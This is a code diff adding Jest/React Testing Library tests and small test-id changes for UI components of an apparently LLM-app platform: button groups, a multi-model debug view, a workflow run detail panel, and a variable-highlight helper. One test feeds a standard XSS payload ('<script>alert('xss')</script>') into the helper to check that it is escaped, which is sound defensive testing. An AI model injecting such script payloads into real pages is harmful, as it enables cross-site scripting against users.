@ -189,11 +190,12 @@ const AppPublisher = ({
|
|||
try {
|
||||
await onPublish?.(params)
|
||||
setPublished(true)
|
||||
trackEvent('app_published_time', { action_mode: 'app', app_id: appDetail?.id, app_name: appDetail?.name })
|
||||
}
|
||||
catch {
|
||||
setPublished(false)
|
||||
}
|
||||
}, [onPublish])
|
||||
}, [appDetail, onPublish])
|
||||
|
||||
const handleRestore = useCallback(async () => {
|
||||
try {
|
||||
|
|
|
|||
|
|
@ -0,0 +1,21 @@
|
|||
import { render, screen } from '@testing-library/react'
|
||||
import GroupName from './index'
|
||||
|
||||
describe('GroupName', () => {
|
||||
beforeEach(() => {
|
||||
jest.clearAllMocks()
|
||||
})
|
||||
|
||||
describe('Rendering', () => {
|
||||
it('should render name when provided', () => {
|
||||
// Arrange
|
||||
const title = 'Inputs'
|
||||
|
||||
// Act
|
||||
render(<GroupName name={title} />)
|
||||
|
||||
// Assert
|
||||
expect(screen.getByText(title)).toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
})
|
||||
|
|
@ -0,0 +1,76 @@
|
|||
import { fireEvent, render, screen } from '@testing-library/react'
|
||||
import OperationBtn from './index'
|
||||
|
||||
jest.mock('react-i18next', () => ({
|
||||
useTranslation: () => ({
|
||||
t: (key: string) => key,
|
||||
}),
|
||||
}))
|
||||
|
||||
jest.mock('@remixicon/react', () => ({
|
||||
RiAddLine: (props: { className?: string }) => (
|
||||
<svg data-testid='add-icon' className={props.className} />
|
||||
),
|
||||
RiEditLine: (props: { className?: string }) => (
|
||||
<svg data-testid='edit-icon' className={props.className} />
|
||||
),
|
||||
}))
|
||||
|
||||
describe('OperationBtn', () => {
|
||||
beforeEach(() => {
|
||||
jest.clearAllMocks()
|
||||
})
|
||||
|
||||
// Rendering icons and translation labels
|
||||
describe('Rendering', () => {
|
||||
it('should render passed custom class when provided', () => {
|
||||
// Arrange
|
||||
const customClass = 'custom-class'
|
||||
|
||||
// Act
|
||||
render(<OperationBtn type='add' className={customClass} />)
|
||||
|
||||
// Assert
|
||||
expect(screen.getByText('common.operation.add').parentElement).toHaveClass(customClass)
|
||||
})
|
||||
it('should render add icon when type is add', () => {
|
||||
// Arrange
|
||||
const onClick = jest.fn()
|
||||
|
||||
// Act
|
||||
render(<OperationBtn type='add' onClick={onClick} className='custom-class' />)
|
||||
|
||||
// Assert
|
||||
expect(screen.getByTestId('add-icon')).toBeInTheDocument()
|
||||
expect(screen.getByText('common.operation.add')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should render edit icon when provided', () => {
|
||||
// Arrange
|
||||
const actionName = 'Rename'
|
||||
|
||||
// Act
|
||||
render(<OperationBtn type='edit' actionName={actionName} />)
|
||||
|
||||
// Assert
|
||||
expect(screen.getByTestId('edit-icon')).toBeInTheDocument()
|
||||
expect(screen.queryByTestId('add-icon')).toBeNull()
|
||||
expect(screen.getByText(actionName)).toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
|
||||
// Click handling
|
||||
describe('Interactions', () => {
|
||||
it('should execute click handler when button is clicked', () => {
|
||||
// Arrange
|
||||
const onClick = jest.fn()
|
||||
render(<OperationBtn type='add' onClick={onClick} />)
|
||||
|
||||
// Act
|
||||
fireEvent.click(screen.getByText('common.operation.add'))
|
||||
|
||||
// Assert
|
||||
expect(onClick).toHaveBeenCalledTimes(1)
|
||||
})
|
||||
})
|
||||
})
|
||||
|
|
@ -0,0 +1,62 @@
|
|||
import { render, screen } from '@testing-library/react'
|
||||
import VarHighlight, { varHighlightHTML } from './index'
|
||||
|
||||
describe('VarHighlight', () => {
|
||||
beforeEach(() => {
|
||||
jest.clearAllMocks()
|
||||
})
|
||||
|
||||
// Rendering highlighted variable tags
|
||||
describe('Rendering', () => {
|
||||
it('should render braces around the variable name with default styles', () => {
|
||||
// Arrange
|
||||
const props = { name: 'userInput' }
|
||||
|
||||
// Act
|
||||
const { container } = render(<VarHighlight {...props} />)
|
||||
|
||||
// Assert
|
||||
expect(screen.getByText('userInput')).toBeInTheDocument()
|
||||
expect(screen.getAllByText('{{')[0]).toBeInTheDocument()
|
||||
expect(screen.getAllByText('}}')[0]).toBeInTheDocument()
|
||||
expect(container.firstChild).toHaveClass('item')
|
||||
})
|
||||
|
||||
it('should apply custom class names when provided', () => {
|
||||
// Arrange
|
||||
const props = { name: 'custom', className: 'mt-2' }
|
||||
|
||||
// Act
|
||||
const { container } = render(<VarHighlight {...props} />)
|
||||
|
||||
// Assert
|
||||
expect(container.firstChild).toHaveClass('mt-2')
|
||||
})
|
||||
})
|
||||
|
||||
// Escaping HTML via helper
|
||||
describe('varHighlightHTML', () => {
|
||||
it('should escape dangerous characters before returning HTML string', () => {
|
||||
// Arrange
|
||||
const props = { name: '<script>alert(\'xss\')</script>' }
|
||||
|
||||
// Act
|
||||
const html = varHighlightHTML(props)
|
||||
|
||||
// Assert
|
||||
expect(html).toContain('<script>alert('xss')</script>')
|
||||
expect(html).not.toContain('<script>')
|
||||
})
|
||||
|
||||
it('should include custom class names in the wrapper element', () => {
|
||||
// Arrange
|
||||
const props = { name: 'data', className: 'text-primary' }
|
||||
|
||||
// Act
|
||||
const html = varHighlightHTML(props)
|
||||
|
||||
// Assert
|
||||
expect(html).toContain('class="item text-primary')
|
||||
})
|
||||
})
|
||||
})
|
||||
|
|
@ -0,0 +1,48 @@
|
|||
import { fireEvent, render, screen } from '@testing-library/react'
|
||||
import ContrlBtnGroup from './index'
|
||||
|
||||
jest.mock('react-i18next', () => ({
|
||||
useTranslation: () => ({
|
||||
t: (key: string) => key,
|
||||
}),
|
||||
}))
|
||||
|
||||
describe('ContrlBtnGroup', () => {
|
||||
beforeEach(() => {
|
||||
jest.clearAllMocks()
|
||||
})
|
||||
|
||||
// Rendering fixed action buttons
|
||||
describe('Rendering', () => {
|
||||
it('should render buttons when rendered', () => {
|
||||
// Arrange
|
||||
const onSave = jest.fn()
|
||||
const onReset = jest.fn()
|
||||
|
||||
// Act
|
||||
render(<ContrlBtnGroup onSave={onSave} onReset={onReset} />)
|
||||
|
||||
// Assert
|
||||
expect(screen.getByTestId('apply-btn')).toBeInTheDocument()
|
||||
expect(screen.getByTestId('reset-btn')).toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
|
||||
// Handling click interactions
|
||||
describe('Interactions', () => {
|
||||
it('should invoke callbacks when buttons are clicked', () => {
|
||||
// Arrange
|
||||
const onSave = jest.fn()
|
||||
const onReset = jest.fn()
|
||||
render(<ContrlBtnGroup onSave={onSave} onReset={onReset} />)
|
||||
|
||||
// Act
|
||||
fireEvent.click(screen.getByTestId('apply-btn'))
|
||||
fireEvent.click(screen.getByTestId('reset-btn'))
|
||||
|
||||
// Assert
|
||||
expect(onSave).toHaveBeenCalledTimes(1)
|
||||
expect(onReset).toHaveBeenCalledTimes(1)
|
||||
})
|
||||
})
|
||||
})
|
||||
|
|
@ -15,8 +15,8 @@ const ContrlBtnGroup: FC<IContrlBtnGroupProps> = ({ onSave, onReset }) => {
|
|||
return (
|
||||
<div className="fixed bottom-0 left-[224px] h-[64px] w-[519px]">
|
||||
<div className={`${s.ctrlBtn} flex h-full items-center gap-2 bg-white pl-4`}>
|
||||
<Button variant='primary' onClick={onSave}>{t('appDebug.operation.applyConfig')}</Button>
|
||||
<Button onClick={onReset}>{t('appDebug.operation.resetConfig')}</Button>
|
||||
<Button variant='primary' onClick={onSave} data-testid="apply-btn">{t('appDebug.operation.applyConfig')}</Button>
|
||||
<Button onClick={onReset} data-testid="reset-btn">{t('appDebug.operation.resetConfig')}</Button>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
|
|
|
|||
|
|
@ -206,6 +206,218 @@ describe('DebugWithMultipleModel', () => {
|
|||
mockUseDebugConfigurationContext.mockReturnValue(createDebugConfiguration())
|
||||
})
|
||||
|
||||
describe('edge cases and error handling', () => {
|
||||
it('should handle empty multipleModelConfigs array', () => {
|
||||
renderComponent({ multipleModelConfigs: [] })
|
||||
expect(screen.queryByTestId('debug-item')).not.toBeInTheDocument()
|
||||
expect(screen.getByTestId('chat-input-area')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should handle model config with missing required fields', () => {
|
||||
const incompleteConfig = { id: 'incomplete' } as ModelAndParameter
|
||||
renderComponent({ multipleModelConfigs: [incompleteConfig] })
|
||||
expect(screen.getByTestId('debug-item')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should handle more than 4 model configs', () => {
|
||||
const manyConfigs = Array.from({ length: 6 }, () => createModelAndParameter())
|
||||
renderComponent({ multipleModelConfigs: manyConfigs })
|
||||
|
||||
const items = screen.getAllByTestId('debug-item')
|
||||
expect(items).toHaveLength(6)
|
||||
|
||||
// Items beyond 4 should not have specialized positioning
|
||||
items.slice(4).forEach((item) => {
|
||||
expect(item.style.transform).toBe('translateX(0) translateY(0)')
|
||||
})
|
||||
})
|
||||
|
||||
it('should handle modelConfig with undefined prompt_variables', () => {
|
||||
// Note: The current component doesn't handle undefined/null prompt_variables gracefully
|
||||
// This test documents the current behavior
|
||||
const modelConfig = createModelConfig()
|
||||
modelConfig.configs.prompt_variables = undefined as any
|
||||
|
||||
mockUseDebugConfigurationContext.mockReturnValue(createDebugConfiguration({
|
||||
modelConfig,
|
||||
}))
|
||||
|
||||
expect(() => renderComponent()).toThrow('Cannot read properties of undefined (reading \'filter\')')
|
||||
})
|
||||
|
||||
it('should handle modelConfig with null prompt_variables', () => {
|
||||
// Note: The current component doesn't handle undefined/null prompt_variables gracefully
|
||||
// This test documents the current behavior
|
||||
const modelConfig = createModelConfig()
|
||||
modelConfig.configs.prompt_variables = null as any
|
||||
|
||||
mockUseDebugConfigurationContext.mockReturnValue(createDebugConfiguration({
|
||||
modelConfig,
|
||||
}))
|
||||
|
||||
expect(() => renderComponent()).toThrow('Cannot read properties of null (reading \'filter\')')
|
||||
})
|
||||
|
||||
it('should handle prompt_variables with missing required fields', () => {
|
||||
const incompleteVariables: PromptVariableWithMeta[] = [
|
||||
{ key: '', name: 'Empty Key', type: 'string' }, // Empty key
|
||||
{ key: 'valid-key', name: undefined as any, type: 'number' }, // Undefined name
|
||||
{ key: 'no-type', name: 'No Type', type: undefined as any }, // Undefined type
|
||||
]
|
||||
|
||||
const debugConfiguration = createDebugConfiguration({
|
||||
modelConfig: createModelConfig(incompleteVariables),
|
||||
})
|
||||
mockUseDebugConfigurationContext.mockReturnValue(debugConfiguration)
|
||||
|
||||
renderComponent()
|
||||
|
||||
// Should still render but handle gracefully
|
||||
expect(screen.getByTestId('chat-input-area')).toBeInTheDocument()
|
||||
expect(capturedChatInputProps?.inputsForm).toHaveLength(3)
|
||||
})
|
||||
})
|
||||
|
||||
describe('props and callbacks', () => {
|
||||
it('should call onMultipleModelConfigsChange when provided', () => {
|
||||
const onMultipleModelConfigsChange = jest.fn()
|
||||
renderComponent({ onMultipleModelConfigsChange })
|
||||
|
||||
// Context provider should pass through the callback
|
||||
expect(onMultipleModelConfigsChange).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('should call onDebugWithMultipleModelChange when provided', () => {
|
||||
const onDebugWithMultipleModelChange = jest.fn()
|
||||
renderComponent({ onDebugWithMultipleModelChange })
|
||||
|
||||
// Context provider should pass through the callback
|
||||
expect(onDebugWithMultipleModelChange).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('should not memoize when props change', () => {
|
||||
const props1 = createProps({ multipleModelConfigs: [createModelAndParameter({ id: 'model-1' })] })
|
||||
const { rerender } = renderComponent(props1)
|
||||
|
||||
const props2 = createProps({ multipleModelConfigs: [createModelAndParameter({ id: 'model-2' })] })
|
||||
rerender(<DebugWithMultipleModel {...props2} />)
|
||||
|
||||
const items = screen.getAllByTestId('debug-item')
|
||||
expect(items[0]).toHaveAttribute('data-model-id', 'model-2')
|
||||
})
|
||||
})
|
||||
|
||||
describe('accessibility', () => {
|
||||
it('should have accessible chat input elements', () => {
|
||||
renderComponent()
|
||||
|
||||
const chatInput = screen.getByTestId('chat-input-area')
|
||||
expect(chatInput).toBeInTheDocument()
|
||||
|
||||
// Check for button accessibility
|
||||
const sendButton = screen.getByRole('button', { name: /send/i })
|
||||
expect(sendButton).toBeInTheDocument()
|
||||
|
||||
const featureButton = screen.getByRole('button', { name: /feature/i })
|
||||
expect(featureButton).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should apply ARIA attributes correctly', () => {
|
||||
const multipleModelConfigs = [createModelAndParameter()]
|
||||
renderComponent({ multipleModelConfigs })
|
||||
|
||||
// Debug items should be identifiable
|
||||
const debugItem = screen.getByTestId('debug-item')
|
||||
expect(debugItem).toBeInTheDocument()
|
||||
expect(debugItem).toHaveAttribute('data-model-id')
|
||||
})
|
||||
})
|
||||
|
||||
describe('prompt variables transformation', () => {
|
||||
it('should filter out API type variables', () => {
|
||||
const promptVariables: PromptVariableWithMeta[] = [
|
||||
{ key: 'normal', name: 'Normal', type: 'string' },
|
||||
{ key: 'api-var', name: 'API Var', type: 'api' },
|
||||
{ key: 'number', name: 'Number', type: 'number' },
|
||||
]
|
||||
const debugConfiguration = createDebugConfiguration({
|
||||
modelConfig: createModelConfig(promptVariables),
|
||||
})
|
||||
mockUseDebugConfigurationContext.mockReturnValue(debugConfiguration)
|
||||
|
||||
renderComponent()
|
||||
|
||||
expect(capturedChatInputProps?.inputsForm).toHaveLength(2)
|
||||
expect(capturedChatInputProps?.inputsForm).toEqual(
|
||||
expect.arrayContaining([
|
||||
expect.objectContaining({ label: 'Normal', variable: 'normal' }),
|
||||
expect.objectContaining({ label: 'Number', variable: 'number' }),
|
||||
]),
|
||||
)
|
||||
expect(capturedChatInputProps?.inputsForm).not.toEqual(
|
||||
expect.arrayContaining([
|
||||
expect.objectContaining({ label: 'API Var' }),
|
||||
]),
|
||||
)
|
||||
})
|
||||
|
||||
it('should handle missing hide and required properties', () => {
|
||||
const promptVariables: Partial<PromptVariableWithMeta>[] = [
|
||||
{ key: 'no-hide', name: 'No Hide', type: 'string', required: true },
|
||||
{ key: 'no-required', name: 'No Required', type: 'number', hide: true },
|
||||
]
|
||||
const debugConfiguration = createDebugConfiguration({
|
||||
modelConfig: createModelConfig(promptVariables as PromptVariableWithMeta[]),
|
||||
})
|
||||
mockUseDebugConfigurationContext.mockReturnValue(debugConfiguration)
|
||||
|
||||
renderComponent()
|
||||
|
||||
expect(capturedChatInputProps?.inputsForm).toEqual([
|
||||
expect.objectContaining({
|
||||
label: 'No Hide',
|
||||
variable: 'no-hide',
|
||||
hide: false, // Should default to false
|
||||
required: true,
|
||||
}),
|
||||
expect.objectContaining({
|
||||
label: 'No Required',
|
||||
variable: 'no-required',
|
||||
hide: true,
|
||||
required: false, // Should default to false
|
||||
}),
|
||||
])
|
||||
})
|
||||
|
||||
it('should preserve original hide and required values', () => {
|
||||
const promptVariables: PromptVariableWithMeta[] = [
|
||||
{ key: 'hidden-optional', name: 'Hidden Optional', type: 'string', hide: true, required: false },
|
||||
{ key: 'visible-required', name: 'Visible Required', type: 'number', hide: false, required: true },
|
||||
]
|
||||
const debugConfiguration = createDebugConfiguration({
|
||||
modelConfig: createModelConfig(promptVariables),
|
||||
})
|
||||
mockUseDebugConfigurationContext.mockReturnValue(debugConfiguration)
|
||||
|
||||
renderComponent()
|
||||
|
||||
expect(capturedChatInputProps?.inputsForm).toEqual([
|
||||
expect.objectContaining({
|
||||
label: 'Hidden Optional',
|
||||
variable: 'hidden-optional',
|
||||
hide: true,
|
||||
required: false,
|
||||
}),
|
||||
expect.objectContaining({
|
||||
label: 'Visible Required',
|
||||
variable: 'visible-required',
|
||||
hide: false,
|
||||
required: true,
|
||||
}),
|
||||
])
|
||||
})
|
||||
})
|
||||
|
||||
describe('chat input rendering', () => {
|
||||
it('should render chat input in chat mode with transformed prompt variables and feature handler', () => {
|
||||
// Arrange
|
||||
|
|
@ -326,6 +538,43 @@ describe('DebugWithMultipleModel', () => {
|
|||
})
|
||||
})
|
||||
|
||||
describe('performance optimization', () => {
|
||||
it('should memoize callback functions correctly', () => {
|
||||
const props = createProps({ multipleModelConfigs: [createModelAndParameter()] })
|
||||
const { rerender } = renderComponent(props)
|
||||
|
||||
// First render
|
||||
const firstItems = screen.getAllByTestId('debug-item')
|
||||
expect(firstItems).toHaveLength(1)
|
||||
|
||||
// Rerender with exactly same props - should not cause re-renders
|
||||
rerender(<DebugWithMultipleModel {...props} />)
|
||||
|
||||
const secondItems = screen.getAllByTestId('debug-item')
|
||||
expect(secondItems).toHaveLength(1)
|
||||
|
||||
// Check that the element still renders the same content
|
||||
expect(firstItems[0]).toHaveTextContent(secondItems[0].textContent || '')
|
||||
})
|
||||
|
||||
it('should recalculate size and position when number of models changes', () => {
|
||||
const { rerender } = renderComponent({ multipleModelConfigs: [createModelAndParameter()] })
|
||||
|
||||
// Single model - no special sizing
|
||||
const singleItem = screen.getByTestId('debug-item')
|
||||
expect(singleItem.style.width).toBe('')
|
||||
|
||||
// Change to 2 models
|
||||
rerender(<DebugWithMultipleModel {...createProps({
|
||||
multipleModelConfigs: [createModelAndParameter(), createModelAndParameter()],
|
||||
})} />)
|
||||
|
||||
const twoItems = screen.getAllByTestId('debug-item')
|
||||
expect(twoItems[0].style.width).toBe('calc(50% - 4px - 24px)')
|
||||
expect(twoItems[1].style.width).toBe('calc(50% - 4px - 24px)')
|
||||
})
|
||||
})
|
||||
|
||||
describe('layout sizing and positioning', () => {
|
||||
const expectItemLayout = (
|
||||
element: HTMLElement,
|
||||
|
|
|
|||
|
|
@ -0,0 +1,325 @@
|
|||
/**
|
||||
* DetailPanel Component Tests
|
||||
*
|
||||
* Tests the workflow run detail panel which displays:
|
||||
* - Workflow run title
|
||||
* - Replay button (when canReplay is true)
|
||||
* - Close button
|
||||
* - Run component with detail/tracing URLs
|
||||
*/
|
||||
|
||||
import { render, screen } from '@testing-library/react'
|
||||
import userEvent from '@testing-library/user-event'
|
||||
import DetailPanel from './detail'
|
||||
import { useStore as useAppStore } from '@/app/components/app/store'
|
||||
import type { App, AppIconType, AppModeEnum } from '@/types/app'
|
||||
|
||||
// ============================================================================
|
||||
// Mocks
|
||||
// ============================================================================
|
||||
|
||||
jest.mock('react-i18next', () => ({
|
||||
useTranslation: () => ({
|
||||
t: (key: string) => key,
|
||||
}),
|
||||
}))
|
||||
|
||||
const mockRouterPush = jest.fn()
|
||||
jest.mock('next/navigation', () => ({
|
||||
useRouter: () => ({
|
||||
push: mockRouterPush,
|
||||
}),
|
||||
}))
|
||||
|
||||
// Mock the Run component as it has complex dependencies
|
||||
jest.mock('@/app/components/workflow/run', () => ({
|
||||
__esModule: true,
|
||||
default: ({ runDetailUrl, tracingListUrl }: { runDetailUrl: string; tracingListUrl: string }) => (
|
||||
<div data-testid="workflow-run">
|
||||
<span data-testid="run-detail-url">{runDetailUrl}</span>
|
||||
<span data-testid="tracing-list-url">{tracingListUrl}</span>
|
||||
</div>
|
||||
),
|
||||
}))
|
||||
|
||||
// Mock WorkflowContextProvider
|
||||
jest.mock('@/app/components/workflow/context', () => ({
|
||||
WorkflowContextProvider: ({ children }: { children: React.ReactNode }) => (
|
||||
<div data-testid="workflow-context-provider">{children}</div>
|
||||
),
|
||||
}))
|
||||
|
||||
// Mock ahooks for useBoolean (used by TooltipPlus)
|
||||
jest.mock('ahooks', () => ({
|
||||
useBoolean: (initial: boolean) => {
|
||||
const setters = {
|
||||
setTrue: jest.fn(),
|
||||
setFalse: jest.fn(),
|
||||
toggle: jest.fn(),
|
||||
}
|
||||
return [initial, setters] as const
|
||||
},
|
||||
}))
|
||||
|
||||
// ============================================================================
|
||||
// Test Data Factories
|
||||
// ============================================================================
|
||||
|
||||
const createMockApp = (overrides: Partial<App> = {}): App => ({
|
||||
id: 'test-app-id',
|
||||
name: 'Test App',
|
||||
description: 'Test app description',
|
||||
author_name: 'Test Author',
|
||||
icon_type: 'emoji' as AppIconType,
|
||||
icon: '🚀',
|
||||
icon_background: '#FFEAD5',
|
||||
icon_url: null,
|
||||
use_icon_as_answer_icon: false,
|
||||
mode: 'workflow' as AppModeEnum,
|
||||
enable_site: true,
|
||||
enable_api: true,
|
||||
api_rpm: 60,
|
||||
api_rph: 3600,
|
||||
is_demo: false,
|
||||
model_config: {} as App['model_config'],
|
||||
app_model_config: {} as App['app_model_config'],
|
||||
created_at: Date.now(),
|
||||
updated_at: Date.now(),
|
||||
site: {
|
||||
access_token: 'token',
|
||||
app_base_url: 'https://example.com',
|
||||
} as App['site'],
|
||||
api_base_url: 'https://api.example.com',
|
||||
tags: [],
|
||||
access_mode: 'public_access' as App['access_mode'],
|
||||
...overrides,
|
||||
})
|
||||
|
||||
// ============================================================================
|
||||
// Tests
|
||||
// ============================================================================
|
||||
|
||||
describe('DetailPanel', () => {
|
||||
const defaultOnClose = jest.fn()
|
||||
|
||||
beforeEach(() => {
|
||||
jest.clearAllMocks()
|
||||
useAppStore.setState({ appDetail: createMockApp() })
|
||||
})
|
||||
|
||||
// --------------------------------------------------------------------------
|
||||
// Rendering Tests (REQUIRED)
|
||||
// --------------------------------------------------------------------------
|
||||
describe('Rendering', () => {
|
||||
it('should render without crashing', () => {
|
||||
render(<DetailPanel runID="run-123" onClose={defaultOnClose} />)
|
||||
|
||||
expect(screen.getByText('appLog.runDetail.workflowTitle')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should render workflow title', () => {
|
||||
render(<DetailPanel runID="run-123" onClose={defaultOnClose} />)
|
||||
|
||||
expect(screen.getByText('appLog.runDetail.workflowTitle')).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should render close button', () => {
|
||||
const { container } = render(<DetailPanel runID="run-123" onClose={defaultOnClose} />)
|
||||
|
||||
// Close button has RiCloseLine icon
|
||||
const closeButton = container.querySelector('span.cursor-pointer')
|
||||
expect(closeButton).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should render Run component with correct URLs', () => {
|
||||
useAppStore.setState({ appDetail: createMockApp({ id: 'app-456' }) })
|
||||
|
||||
render(<DetailPanel runID="run-789" onClose={defaultOnClose} />)
|
||||
|
||||
expect(screen.getByTestId('workflow-run')).toBeInTheDocument()
|
||||
expect(screen.getByTestId('run-detail-url')).toHaveTextContent('/apps/app-456/workflow-runs/run-789')
|
||||
expect(screen.getByTestId('tracing-list-url')).toHaveTextContent('/apps/app-456/workflow-runs/run-789/node-executions')
|
||||
})
|
||||
|
||||
it('should render WorkflowContextProvider wrapper', () => {
|
||||
render(<DetailPanel runID="run-123" onClose={defaultOnClose} />)
|
||||
|
||||
expect(screen.getByTestId('workflow-context-provider')).toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
|
||||
// --------------------------------------------------------------------------
|
||||
// Props Tests (REQUIRED)
|
||||
// --------------------------------------------------------------------------
|
||||
describe('Props', () => {
|
||||
it('should not render replay button when canReplay is false (default)', () => {
|
||||
render(<DetailPanel runID="run-123" onClose={defaultOnClose} />)
|
||||
|
||||
expect(screen.queryByRole('button', { name: 'appLog.runDetail.testWithParams' })).not.toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should render replay button when canReplay is true', () => {
|
||||
render(<DetailPanel runID="run-123" onClose={defaultOnClose} canReplay={true} />)
|
||||
|
||||
expect(screen.getByRole('button', { name: 'appLog.runDetail.testWithParams' })).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should use empty URL when runID is empty', () => {
|
||||
render(<DetailPanel runID="" onClose={defaultOnClose} />)
|
||||
|
||||
expect(screen.getByTestId('run-detail-url')).toHaveTextContent('')
|
||||
expect(screen.getByTestId('tracing-list-url')).toHaveTextContent('')
|
||||
})
|
||||
})
|
||||
|
||||
// --------------------------------------------------------------------------
|
||||
// User Interactions
|
||||
// --------------------------------------------------------------------------
|
||||
describe('User Interactions', () => {
|
||||
it('should call onClose when close button is clicked', async () => {
|
||||
const user = userEvent.setup()
|
||||
const onClose = jest.fn()
|
||||
|
||||
const { container } = render(<DetailPanel runID="run-123" onClose={onClose} />)
|
||||
|
||||
const closeButton = container.querySelector('span.cursor-pointer')
|
||||
expect(closeButton).toBeInTheDocument()
|
||||
|
||||
await user.click(closeButton!)
|
||||
|
||||
expect(onClose).toHaveBeenCalledTimes(1)
|
||||
})
|
||||
|
||||
it('should navigate to workflow page with replayRunId when replay button is clicked', async () => {
|
||||
const user = userEvent.setup()
|
||||
useAppStore.setState({ appDetail: createMockApp({ id: 'app-replay-test' }) })
|
||||
|
||||
render(<DetailPanel runID="run-to-replay" onClose={defaultOnClose} canReplay={true} />)
|
||||
|
||||
const replayButton = screen.getByRole('button', { name: 'appLog.runDetail.testWithParams' })
|
||||
await user.click(replayButton)
|
||||
|
||||
expect(mockRouterPush).toHaveBeenCalledWith('/app/app-replay-test/workflow?replayRunId=run-to-replay')
|
||||
})
|
||||
|
||||
it('should not navigate when replay clicked but appDetail is missing', async () => {
|
||||
const user = userEvent.setup()
|
||||
useAppStore.setState({ appDetail: undefined })
|
||||
|
||||
render(<DetailPanel runID="run-123" onClose={defaultOnClose} canReplay={true} />)
|
||||
|
||||
const replayButton = screen.getByRole('button', { name: 'appLog.runDetail.testWithParams' })
|
||||
await user.click(replayButton)
|
||||
|
||||
expect(mockRouterPush).not.toHaveBeenCalled()
|
||||
})
|
||||
})
|
||||
|
||||
// --------------------------------------------------------------------------
|
||||
// URL Generation Tests
|
||||
// --------------------------------------------------------------------------
|
||||
describe('URL Generation', () => {
|
||||
it('should generate correct run detail URL', () => {
|
||||
useAppStore.setState({ appDetail: createMockApp({ id: 'my-app' }) })
|
||||
|
||||
render(<DetailPanel runID="my-run" onClose={defaultOnClose} />)
|
||||
|
||||
expect(screen.getByTestId('run-detail-url')).toHaveTextContent('/apps/my-app/workflow-runs/my-run')
|
||||
})
|
||||
|
||||
it('should generate correct tracing list URL', () => {
|
||||
useAppStore.setState({ appDetail: createMockApp({ id: 'my-app' }) })
|
||||
|
||||
render(<DetailPanel runID="my-run" onClose={defaultOnClose} />)
|
||||
|
||||
expect(screen.getByTestId('tracing-list-url')).toHaveTextContent('/apps/my-app/workflow-runs/my-run/node-executions')
|
||||
})
|
||||
|
||||
it('should handle special characters in runID', () => {
|
||||
useAppStore.setState({ appDetail: createMockApp({ id: 'app-id' }) })
|
||||
|
||||
render(<DetailPanel runID="run-with-special-123" onClose={defaultOnClose} />)
|
||||
|
||||
expect(screen.getByTestId('run-detail-url')).toHaveTextContent('/apps/app-id/workflow-runs/run-with-special-123')
|
||||
})
|
||||
})
|
||||
|
||||
// --------------------------------------------------------------------------
|
||||
// Store Integration Tests
|
||||
// --------------------------------------------------------------------------
|
||||
describe('Store Integration', () => {
|
||||
it('should read appDetail from store', () => {
|
||||
useAppStore.setState({ appDetail: createMockApp({ id: 'store-app-id' }) })
|
||||
|
||||
render(<DetailPanel runID="run-123" onClose={defaultOnClose} />)
|
||||
|
||||
expect(screen.getByTestId('run-detail-url')).toHaveTextContent('/apps/store-app-id/workflow-runs/run-123')
|
||||
})
|
||||
|
||||
it('should handle undefined appDetail from store gracefully', () => {
|
||||
useAppStore.setState({ appDetail: undefined })
|
||||
|
||||
render(<DetailPanel runID="run-123" onClose={defaultOnClose} />)
|
||||
|
||||
// Run component should still render but with undefined in URL
|
||||
expect(screen.getByTestId('workflow-run')).toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
|
||||
// --------------------------------------------------------------------------
|
||||
// Edge Cases (REQUIRED)
|
||||
// --------------------------------------------------------------------------
|
||||
describe('Edge Cases', () => {
|
||||
it('should handle empty runID', () => {
|
||||
render(<DetailPanel runID="" onClose={defaultOnClose} />)
|
||||
|
||||
expect(screen.getByTestId('run-detail-url')).toHaveTextContent('')
|
||||
expect(screen.getByTestId('tracing-list-url')).toHaveTextContent('')
|
||||
})
|
||||
|
||||
it('should handle very long runID', () => {
|
||||
const longRunId = 'a'.repeat(100)
|
||||
useAppStore.setState({ appDetail: createMockApp({ id: 'app-id' }) })
|
||||
|
||||
render(<DetailPanel runID={longRunId} onClose={defaultOnClose} />)
|
||||
|
||||
expect(screen.getByTestId('run-detail-url')).toHaveTextContent(`/apps/app-id/workflow-runs/${longRunId}`)
|
||||
})
|
||||
|
||||
it('should render replay button with correct aria-label', () => {
|
||||
render(<DetailPanel runID="run-123" onClose={defaultOnClose} canReplay={true} />)
|
||||
|
||||
const replayButton = screen.getByRole('button', { name: 'appLog.runDetail.testWithParams' })
|
||||
expect(replayButton).toHaveAttribute('aria-label', 'appLog.runDetail.testWithParams')
|
||||
})
|
||||
|
||||
it('should maintain proper component structure', () => {
|
||||
const { container } = render(<DetailPanel runID="run-123" onClose={defaultOnClose} />)
|
||||
|
||||
// Check for main container with flex layout
|
||||
const mainContainer = container.querySelector('.flex.grow.flex-col')
|
||||
expect(mainContainer).toBeInTheDocument()
|
||||
|
||||
// Check for header section
|
||||
const header = container.querySelector('.flex.items-center.bg-components-panel-bg')
|
||||
expect(header).toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
|
||||
// --------------------------------------------------------------------------
|
||||
// Tooltip Tests
|
||||
// --------------------------------------------------------------------------
|
||||
describe('Tooltip', () => {
|
||||
it('should have tooltip on replay button', () => {
|
||||
render(<DetailPanel runID="run-123" onClose={defaultOnClose} canReplay={true} />)
|
||||
|
||||
// The replay button should be wrapped in TooltipPlus
|
||||
const replayButton = screen.getByRole('button', { name: 'appLog.runDetail.testWithParams' })
|
||||
expect(replayButton).toBeInTheDocument()
|
||||
|
||||
// TooltipPlus wraps the button with popupContent
|
||||
// We verify the button exists with the correct aria-label
|
||||
expect(replayButton).toHaveAttribute('type', 'button')
|
||||
})
|
||||
})
|
||||
})
|
||||
|
|
@ -0,0 +1,533 @@
|
|||
/**
|
||||
* Filter Component Tests
|
||||
*
|
||||
